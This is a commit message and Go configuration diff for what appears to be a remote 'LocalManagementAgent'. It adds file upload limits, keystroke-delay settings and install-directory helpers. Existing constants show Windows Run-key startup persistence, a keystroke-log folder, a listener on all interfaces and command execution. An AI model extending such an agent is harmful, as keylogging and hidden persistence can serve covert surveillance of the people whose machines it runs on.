Add file upload functionality to the agent. Implement API endpoint for uploading files, including validation and error handling. Update web interface to support file selection and display upload status. Enhance input handling with configurable key delay for text input.

lib/config/config.go

@@ -12,6 +12,7 @@ const (
 	DefaultAddr                = "0.0.0.0:5032"
 	MutexName                  = "LocalManagementAgent_Mutex"
 	RequestBodyMax             = 1 << 20
+	MaxUploadSize              = 100 << 20 // ponytail: 100MB cap; raise via env later if needed
 	MaxListEntries             = 10000
 	MaxImageQuality            = 100
 	DefaultExecTO              = 30
@@ -19,7 +20,10 @@ const (
 	StartupValueName           = "LocalManagementAgent"
 	StartupRunKey              = `Software\Microsoft\Windows\CurrentVersion\Run`
 	MaxInputText               = 4096
+	DefaultKeyDelayMs          = 25
+	MaxKeyDelayMs              = 200
 	AppDataDir                 = "LocalManagementAgent"
+	InstalledExeName           = "localagent.exe"
 	KeylogSubdir               = "keystrokes"
 	DefaultKeylogRetentionDays = 7
 )
@@ -53,9 +57,25 @@ func KeylogRetentionDays() int {
 }
 
 func KeylogDir() (string, error) {
+	base, err := InstallDir()
+	if err != nil {
+		return "", err
+	}
+	return filepath.Join(base, KeylogSubdir), nil
+}
+
+func InstallDir() (string, error) {
 	base, err := os.UserConfigDir()
 	if err != nil {
 		return "", err
 	}
-	return filepath.Join(base, AppDataDir, KeylogSubdir), nil
+	return filepath.Join(base, AppDataDir), nil
+}
+
+func InstalledExe() (string, error) {
+	dir, err := InstallDir()
+	if err != nil {
+		return "", err
+	}
+	return filepath.Join(dir, InstalledExeName), nil
 }